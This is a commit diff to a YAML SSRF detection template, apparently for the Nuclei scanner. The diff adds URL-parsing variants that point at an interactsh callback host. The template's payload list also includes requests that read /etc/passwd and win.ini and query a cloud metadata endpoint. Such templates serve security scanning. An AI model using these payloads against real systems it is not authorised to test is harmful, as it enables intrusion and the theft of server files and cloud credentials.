Update response-ssrf.yaml

main
AmirHossein Raeisi 2024-07-22 16:19:11 +03:30 committed by GitHub
parent df04445d51
commit 2cba2ac444
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 6 additions and 2 deletions

View File

@ -2,7 +2,7 @@ id: response-ssrf
info:
name: Full Response SSRF Detection
author: pdteam,pwnhxl,j4vaovo
author: pdteam,pwnhxl,j4vaovo,AmirHossein Raeisi
severity: high
reference:
- https://github.com/bugcrowd/HUNT/blob/master/ZAP/scripts/passive/SSRF.py
@ -20,7 +20,11 @@ http:
ssrf:
- 'http://{{interactsh-url}}'
- 'http://{{FQDN}}.{{interactsh-url}}'
- 'http://{{FQDN}}@{{interactsh-url}}'
- 'http://{{interactsh-url}}#{{FQDN}}'
- 'http://{{RDN}}.{{interactsh-url}}'
- 'http://{{RDN}}@{{interactsh-url}}'
- 'http://{{interactsh-url}}#{{RDN}}'
- 'file:////./etc/./passwd'
- 'file:///c:/./windows/./win.ini'
- 'http://metadata.tencentyun.com/latest/meta-data/'